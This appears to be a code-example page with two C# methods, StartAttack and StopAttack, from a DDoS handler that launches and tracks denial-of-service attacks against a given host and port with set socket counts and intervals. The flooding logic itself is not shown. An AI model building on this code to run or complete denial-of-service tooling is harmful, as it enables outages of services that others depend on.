Пример #1
0
        public static bool StartAttack(Int32 iID, Int32 iAttackType, String strHost, Int32 iPort, DateTime?EndDate, int iSockets, int iInterval)
        {
            try
            {
                CDDoS New_Attack = new CDDoS(iID, iAttackType, strHost, iPort, EndDate, iSockets, iInterval);
                New_Attack.OnData += New_Attack_OnData;
                if (New_Attack.StartAttack())
                {
                    lstActiveAttacks.Add(New_Attack);
                }
                return(true);
            }
            catch (Exception ex)
            {
#if DEBUG
                Console.WriteLine("CDDoSHandler::StartAttack Threw a Exception: {0}", ex.Message);
#endif
            }
            return(false);
        }
Пример #2
0
        /// <summary>
        /// Stop Attack by ID
        /// </summary>
        /// <param name="iID">-1 to stop all.</param>
        public static void StopAttack(Int32 iID)
        {
            try
            {
                for (int i = 0; i < lstActiveAttacks.Count; i++)
                {
                    CDDoS Active_Attack = lstActiveAttacks[i];

                    if (Active_Attack.iID != iID && iID != -1)
                    {
                        continue;
                    }

                    Active_Attack.OnData -= New_Attack_OnData;
                    Active_Attack.StopAttack();

                    lstActiveAttacks.Remove(Active_Attack);
                    break;
                }
            }
            catch { }
        }